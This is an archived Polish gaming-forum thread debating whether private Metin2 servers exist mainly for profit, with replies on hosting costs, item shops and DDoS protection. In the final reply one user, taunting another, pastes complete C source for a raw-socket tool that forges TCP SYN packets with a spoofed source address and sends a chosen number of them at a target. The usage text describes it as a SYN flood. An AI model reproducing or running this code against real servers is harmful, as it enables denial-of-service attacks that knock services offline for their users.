Skocz do zawartości
  • 👋 Witaj na MPCForum!

    Przeglądasz forum jako gość, co oznacza, że wiele świetnych funkcji jest jeszcze przed Tobą! 😎

    • Pełny dostęp do działów i ukrytych treści
    • Możliwość pisania i odpowiadania w tematach
    • System prywatnych wiadomości
    • Zbieranie reputacji i rozwijanie swojego profilu
    • Członkostwo w jednej z największych społeczności graczy

    👉 Dołączenie zajmie Ci mniej niż minutę – a zyskasz znacznie więcej!

    Zarejestruj się teraz

[pytanie] Serwer = Zysk


Rekomendowane odpowiedzi

Opublikowano

Witam, rozpoczynam ową dyskusję,ponieważ mam pewne wątpliwości.

 

Dużo osób mówi że nowe serwery (tzw.dedyki) są tworzone tylko i wyłącznie dla zysku,jeżeli już ktoś osiągnie wysoki poziom (co równa się z wysokimi przychodami) to olewa to.

 

Co wy sądzicie na ten temat,zysku z serwera.

  • Odpowiedzi 62
  • Dodano
  • Ostatniej odpowiedzi
Opublikowano

początkowe serwery dedykowane z metina głownie chodzi im o popularność jeżeli osiągnie wystarczający poziom popularności to wiadomo że główną rolą jest kasa jest to nie uniknione żaden głupiec nie będzie wydawał co miesiąc na serwer który nie am zysków

9adc2b66942ff0dffh1.gif


Serwer TerraVix [survival + PvP] IP: 188.165.22.154 Port: 8110


Opublikowano

Kiedyś serwer metin2 to żyła złota, przykład:PandoraMT2.

 

Teraz już za duża konkurencja :)

 

Pamiętam , jak dawno temu (chyba 2k10) , miałem serwer Hamachi , codziennie po 70 osób online (wtedy Hamachi dominowało - nieliczni mieli dedyki) ,a teraz jest więcej dedyków niż hamachi. :-)

Opublikowano

Ewolucja robi swoje :) Hamachi zamieniono na dedyki, teraz jedynie hamachi to only 4Fun/Pvp, do zabawy. A dedyk to już poważniejsza sprawa ;)

ezgif-com-effects.gif

Opublikowano

Ja jednak nie wierze w zadne zyski z serwerow, jezeli juz sie taki robi to tylko z czystej przyjemnosci i checi wykazania sie.

Opublikowano

Zgadzam się z przedmówcą.

 

Zobaczcie chociaż takiego dedyka jak Avalon. Już leci jego druga edycja, Avalon V2 i gdyby był to serwer czysto do zysków, nie mielibyśmy możliwości grania na jego drugiej odsłonie.

ezgif-com-effects.gif

Opublikowano

Brak zysków = upadek servera. Serwery tylko dla zarobku to takie , które są na szybko stawiane na gotowcach a po max miesiącu upada z niewyjasnionych przyczyn.

wipek.pl

Opublikowano
Zobaczcie chociaż takiego dedyka jak Avalon. Już leci jego druga edycja, Avalon V2 i gdyby był to serwer czysto do zysków, nie mielibyśmy możliwości grania na jego drugiej odsłonie.

 

Tu się mylisz. Nawet nie wiesz ile oni zarobią teraz, kiedy z 70% graczy wyda coś na IS, żeby być jak najlepszym i rozpoznawanym graczem tak popularnego serwera. Na pewno będzie masa graczy, a z tym idą większe zarobki.

jesse_pinkman_v2_by_seb3tears-d5s8er0.pn


Gold Member | Blue Member | exModerator Counter-Strike

Opublikowano

dużo dzieci bo inaczej tego nazwać nie można myśli ze jak postaw dedyka to bedą zarabiać tysiące. serwery owe się sypią i w ogole. jak co 2 czy 3 dni wychodzi kilka dedyków to jest duza konkurecja, a to ze wiekszosc z nich to gowno z dodatkami to szybko upada

Opublikowano

Witam, rozpoczynam ową dyskusję,ponieważ mam pewne wątpliwości.

 

Dużo osób mówi że nowe serwery (tzw.dedyki) są tworzone tylko i wyłącznie dla zysku,jeżeli już ktoś osiągnie wysoki poziom (co równa się z wysokimi przychodami) to olewa to.

 

Co wy sądzicie na ten temat,zysku z serwera.

 

nie można mówić tak o wszystkich osobach zajmujących się Serwerem, ale niektórzy tacy są, jednak jest mały plus, otóż jeśli komuś opłaca się utrzymywać serwer, bo ma dobre z tego dochody to jednocześnie chce więcej zarobić i nie chce, żeby gracze odeszli od jego serwera, więc, albo dodaje nowe rzeczy, albo zatrudnia nowych GM'ów. Niestety są też odwrotne przypadki czyli zaniedbywanie serwera, maksymalnie czytanie zgłoszeń od graczy, ale takie serwery szybko upadają.

Nigdy nie rozmawiaj z idiotą. Najpierw sprowadzi Cię do swojego poziomu, a później pokona doświadczeniem.

Opublikowano

początkowe serwery dedykowane z metina głownie chodzi im o popularność jeżeli osiągnie wystarczający poziom popularności to wiadomo że główną rolą jest kasa jest to nie uniknione żaden głupiec nie będzie wydawał co miesiąc na serwer który nie am zysków

Nie zawsze, znajdą się ludzie którzy stawiają serwery metin2 dla zabawy a zysków z tego nie chcą.

Opublikowano

Zgadzam się z przedmówcą.

 

Zobaczcie chociaż takiego dedyka jak Avalon. Już leci jego druga edycja, Avalon V2 i gdyby był to serwer czysto do zysków, nie mielibyśmy możliwości grania na jego drugiej odsłonie.

Mylisz się i to mocno. Z czasem istnienia serwera, gdy ludzie osiągną, co chcieli, serwer zaczyna się robić mało atrakcyjny, a zyski spadają. Otwieranie kolejnych edycji to prosty sposób na gwarantowany wzrost zarobków na dłuższy czas. Gdyby coś takiego robili to dla przyjemności, dopracowaliby przynajmniej v2, ale to wyglądało po prostu na zasadzie CTRL-C i CTRL-V i macie, grajcie i płaćcie.

 

Wydaje mi się, że większość osób łączy zarobek z pasją (nie wszyscy, ale spora część).

Opublikowano

Ciekawe co jest bardziej opłacalne rejetracja za 60 pare groczy czy złoty coś, server bez is czy server z is

wipek.pl

Opublikowano

z czegoś trzeba wszystko opłacić a ciekawi mnie ile kosztowalo by oplacenie dobrego servera na max 2k ludu (wszystkie opłaty)

wipek.pl

Opublikowano

z czegoś trzeba wszystko opłacić a ciekawi mnie ile kosztowalo by oplacenie dobrego servera na max 2k ludu (wszystkie opłaty)

 

To zależy na jaki czas chcesz wykupić maszynę i czy z jakichś pewniejszych firm czy najtańszej jaka będzie...

 

 

Ewolucja robi swoje :) Hamachi zamieniono na dedyki, teraz jedynie hamachi to only 4Fun/Pvp, do zabawy. A dedyk to już poważniejsza sprawa ;)

 

Jak Hamachi to 4Fun/PvP to się mylisz... Teraz co drugi to albo harda albo mediuma jakiegoś do expa robią... A jak jest 4Fun to gotowiec i po 2 dniach pada bo GA nie wie jak coś naprawić... ;)

 

 

@Top

Ludzie muszą z czegoś opłacać serwer... Przecież jest mało ludzi, którzy dają coś od siebie za darmo, a jak mają coś od siebie dać a mowa tu o już konkretnych pieniądzach to już wgl...

Opublikowano

taka pandora , elita (chyba jeden właściciel) to dopiero mają zarobek , każdy mówi -to gówno (też tak myślę) , a tak dużo ludzi tam gra. Liczy się prostota.

wipek.pl

Opublikowano

Brak zysków = upadek servera. Serwery tylko dla zarobku to takie , które są na szybko stawiane na gotowcach a po max miesiącu upada z niewyjasnionych przyczyn.

nie zgadzam się z Tobią. Nie każdy właściciel dedyka to 15 latek który chce zarobić, czasami są to zwykłe chłopaki z dobrą pracą którzy posiadają VPS lub dedyk. Czasami nawet Item Shopu nie ma.

 

Serwery komercyjne to zazwyczaj Hardy z max lv 100+, z nagrodą za wbicie max lv typu Laptop...

Opublikowano

z czegoś trzeba wszystko opłacić a ciekawi mnie ile kosztowalo by oplacenie dobrego servera na max 2k ludu (wszystkie opłaty)

400-500 zł/mies w przypadku OVH i masz jeszcze zapas. Nie ma sensu inwestować w sprzętowe firewalle, bo w obliczu DDoS'a i tak nie za wiele pomogą. Dodam też, że często się widzi administratorów serwerów, którzy kupują firewalle w OVH z nadzieją, że uchroni ich to przed czymkolwiek, ale nawet najdroższy firewall w ich ofercie ma maksymalną przepustowość 450Mbps, co w przypadku ataku DDoS o podobnej mocy, uczyni ten firewall bezużytecznym, a serwer i tak będzie niedostępny dla użytkowników. Też wczoraj czytaliśmy jak ekipa VirtualMT2 inwestuje w load balancer żeby odeprzeć ataki typu SYN flood... Niewiedza ludzi prowadzi do tego, że większość administratorów bardzo przepłaca za serwery. Tak czy inaczej, opłaty za serwer to tylko nieduża część zarobków serwerów i tłumaczenie się administratorów, że "jakoś musimy utrzymać serwer" to po prostu mydlenie oczu graczom. Nie nabierajcie się na takie zagrania.

Opublikowano

Up mówisz niewiedza ludzi.. co do sprzętowych ASA jak najbardziej się z Tobą zgodzę z tym że nie chodzi o przepustowość interface a o łaczną liczbę pakietów które te ASY mogą przyjąć na klate. Siedzę w temacie od 95 roku i pierwszej chwili szczęka mi opadła w momencie odpalenia trafshow i odpalenia ASY więc za przeproszeniem nie pieprz głupot o niewiedzy ludzi bo skoro uważasz się za specjalistę to w każdej chwili jestem Ci w stanie udowodnić jaką ty wiedzą dysponujesz w kwestii zabezpieczeń.

 

Rzuć okiem na ten kod i gwarantuję Ci że jeśli taka fala dotrze do Ciebie czego ci oczywiście nie życzę, obudzisz się z ręką w nocniku.

 

 

 

*/

 

 

#define __USE_BSD

#include <sys/socket.h>

#include <netinet/in.h>

#include <netinet/ip.h>

#include <arpa/inet.h>

#define __FAVOR_BSD

#include <netinet/tcp.h>

#include <unistd.h>

#include <time.h>

#include <stdlib.h>

#include <string.h>

#include <stdio.h>

 

struct tcp_options

{

u_int8_t op0;

u_int8_t op1;

u_int8_t op2;

u_int8_t op3;

u_int8_t op4;

u_int8_t op5;

u_int8_t op6;

u_int8_t op7;

};

 

 

 

char datagram[4096]; /* datagram buffer */

char pheader[1024]; /* pseudoheader buffer for computing tcp checksum */

 

uint16_t csum (uint16_t * addr, int len)

{

int nleft = len;

uint32_t sum = 0;

uint16_t *w = addr;

uint16_t answer = 0;

 

while( nleft > 1 ) {

sum += *w++;

nleft -= 2;

}

if (nleft == 1) {

*(unsigned char *) (&answer) = *(unsigned char *) w;

sum += answer;

}

sum = (sum >> 16)+(sum & 0xffff);

sum += (sum >> 16);

answer = ~sum;

return (answer);

}

 

int main(int argc, char **argv)

{

 

int flags = 0, c, numtries=90;

char src_ip[17];

char dst_ip[17];

short dst_port=80;

short th_sport=1234;

short tcp_flags=TH_SYN;

short pig_ack=0;

struct ip *iph = (struct ip *) datagram;

struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof (struct ip));

struct tcp_options *tcpopt = (struct tcp_options *) (datagram + sizeof(struct ip) + sizeof(struct tcphdr));

struct sockaddr_in servaddr;

memset(datagram, 0, 4096); /* zero out the buffer */

 

fprintf(stderr,"sizeof (struct ip)= %d\n",sizeof(struct ip));

 

 

snprintf(src_ip,16,"%s","192.168.8.12"); //default

 

while ((c = getopt(argc, argv, "s:d:n:p:f:a:q:w:x:y:z:g:h:i:j:")) != -1) {

switch © {

case 's':

flags |= 0x1;

snprintf(src_ip,16,"%s",optarg);

break;

case 'd':

flags |= 0x2;

snprintf(dst_ip,16,"%s",optarg);

break;

case 'n':

flags |= 0x4;

numtries=atoi(optarg);

break;

case 'p':

flags |= 0x8;

dst_port=atoi(optarg);

break;

case 'f':

tcp_flags=atoi(optarg);

break;

case 'a':

pig_ack=atoi(optarg);

break;

case 'q':

th_sport=atoi(optarg);

break;

case 'w':

tcpopt->op0=atoi(optarg);

break;

case 'x':

tcpopt->op1=atoi(optarg);

break;

case 'y':

tcpopt->op2=atoi(optarg);

break;

case 'z':

tcpopt->op3=atoi(optarg);

break;

case 'g':

tcpopt->op4=atoi(optarg);

break;

case 'h':

tcpopt->op5=atoi(optarg);

break;

case 'i':

tcpopt->op6=atoi(optarg);

break;

case 'j':

tcpopt->op7=atoi(optarg);

break;

case '?':

flags |= 0x10;

fprintf(stderr, "Unrecognized option \n");

break;

}

}

 

if(! ( flags & 0x2 ) ) {

fprintf(stderr,"\nrawsockets -s <source ip> -d <destination ip> -p <port> -n <number of SYN floods>\n");

fprintf(stderr,"\nYou must give me a destination\n");

fprintf(stderr," Example:\n ./rawsockets -s 192.168.1.81 -d 192.168.1.71 -p 80 -n 1\n");

fprintf(stderr," Or with SackOK :\n ./rawsockets -s 192.168.1.81 -d 192.168.1.71 -p 80 -n 1 -w 4 -x 2\n");

fprintf(stderr," SackOK and mss 1460:\n ./rawsockets -s 192.168.1.81 -d 192.168.1.71 -p 80 -n 1 -w 4 -x 2 -y 2 -z 4 -g 5 -h 180\n");

 

 

 

 

return 1;

 

}

if(getuid( )){

fprintf(stderr,"\n Also, you must be root to run this program: ./su -c \"./rawsockets -s <source ip> -d <destination ip> -p 80 -n 2000\"\n");

return 1;

}

 

fprintf(stdout,"src %s dst %s number of tries %d\n",src_ip,dst_ip,numtries);

 

 

 

 

 

 

int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP); /* open raw socket */

servaddr.sin_family = AF_INET;

// servaddr.sin_port = htons (10000);

//OLD WAY servaddr.sin_addr.s_addr = inet_addr (dst_ip); /* destination ip */

inet_pton(AF_INET, dst_ip,&servaddr.sin_addr);

int tcphdr_size = sizeof(struct tcphdr);

 

iph->ip_hl = 5;

iph->ip_v = 4;

iph->ip_tos = 0;

iph->ip_len = sizeof (struct ip) + sizeof (struct tcphdr) + 8 +6 +6; /* data size = 0, but tcp using option flags */

iph->ip_id = htons (31337);

iph->ip_off = 0;

iph->ip_ttl = 250;

iph->ip_p = 6;

iph->ip_sum = 0;

//OLD WAY iph->ip_src.s_addr = inet_addr (src_ip);/* source ip */

inet_pton(AF_INET, src_ip, &(iph->ip_src));

iph->ip_dst.s_addr = servaddr.sin_addr.s_addr;

 

tcph->th_sport = htons (th_sport); /* source port */

tcph->th_dport = htons (dst_port); /* destination port */

tcph->th_seq = htonl(31337);

tcph->th_ack = htonl(pig_ack);/* in first SYN packet, ACK is not present */

tcph->th_x2 = 0;

// tcph->th_off = sizeof(struct tcphdr)/4; /* data position in the packet */

// Special chirico adjustment to give 2x32

tcph->th_off = 7+2+1 ;

 

fprintf(stderr,"Data offset %d sizeof(struct tcphdr)=%d\n",tcph->th_off,sizeof(struct tcphdr));

/*

# define TH_FIN 0x01

# define TH_SYN 0x02

# define TH_RST 0x04

# define TH_PUSH 0x08

# define TH_ACK 0x10

# define TH_URG 0x20

 

 

 

 

*/

 

 

 

tcph->th_flags = tcp_flags; /* initial connection request */

tcph->th_win = htons (57344); /* FreeBSD uses this value too */

tcph->th_sum = 0; /* we will compute it later */

tcph->th_urp = 0;

if (tcphdr_size % 4 != 0) /* takes care of padding to 32 bits */

tcphdr_size = ((tcphdr_size % 4) + 1) * 4;

fprintf(stderr,"tcphdr_size %d\n",tcphdr_size);

tcphdr_size=40;

fprintf(stderr,"tcphdr_size %d\n",tcphdr_size);

 

memset(pheader,0x0,sizeof(pheader));

memcpy(&pheader,&(iph->ip_src.s_addr),4);

memcpy(&pheader[4],&(iph->ip_dst.s_addr),4);

pheader[8]=0; // just to underline this zero byte specified by rfc

pheader[9]=(u_int16_t)iph->ip_p;

pheader[10]=(u_int16_t)(tcphdr_size & 0xFF00)>>8;

pheader[11]=(u_int16_t)(tcphdr_size & 0x00FF);

 

/* tcpopt->op0=4; sackOK

tcpopt->op1=2;

*/

memcpy(&pheader[12], tcph, sizeof(struct tcphdr));

memcpy(&pheader[12+ sizeof(struct tcphdr)], tcpopt, sizeof(struct tcp_options));

 

fprintf(stderr,"12+sizeof(struct tcphdr)= %d %d\n",12+sizeof(struct tcphdr),sizeof(struct tcp_options));

/* This is an example of setting SackOK we need to set it in the

header for checksum and in the actual data. This should only get

sent when using SYN? */

 

//pheader[32]=4;

// pheader[33]=2;

 

//datagram[40]=4;

//datagram[41]=2;

 

 

 

fprintf(stderr,"********** %d %d\n",tcpopt->op0,datagram[40]);

fprintf(stderr,"********** %d %d\n",tcpopt->op1,datagram[41]);

 

 

fprintf(stderr,"csum size is %d\n",tcphdr_size+12);

 

 

 

 

 

tcph->th_sum = csum ((uint16_t *) (pheader),tcphdr_size+12);

 

 

// iph->ip_sum = csum ((unsigned short *) datagram, iph->ip_len >> 1);

 

int one = 1;

const int *val = &one;

if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0){

fprintf(stderr,"Error: setsockopt. You need to run this program as root\n");

return -1;

}

 

 

int modval= numtries / 15;

if (modval < 2) modval = 2;

int ft=0;

while(numtries-- > 0)

{

 

 

if (sendto (s,datagram,iph->ip_len ,0,(struct sockaddr *) &servaddr, sizeof (servaddr)) < 0)

{

fprintf(stderr,"Error in sendto\n");

exit(1);

} else {

 

if(ft==0) {

fprintf(stderr,"[****************]\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b");

ft=1;

}

 

if ( (numtries % modval) == 0 )

fprintf(stderr,".");

 

}

}

 

 

 

fprintf(stderr,"sizeof(struct tcp_options)=%d\n",sizeof(struct tcp_options));

return 0;

}

 

 

Zarchiwizowany

Ten temat przebywa obecnie w archiwum. Dodawanie nowych odpowiedzi zostało zablokowane.

×
×
  • Dodaj nową pozycję...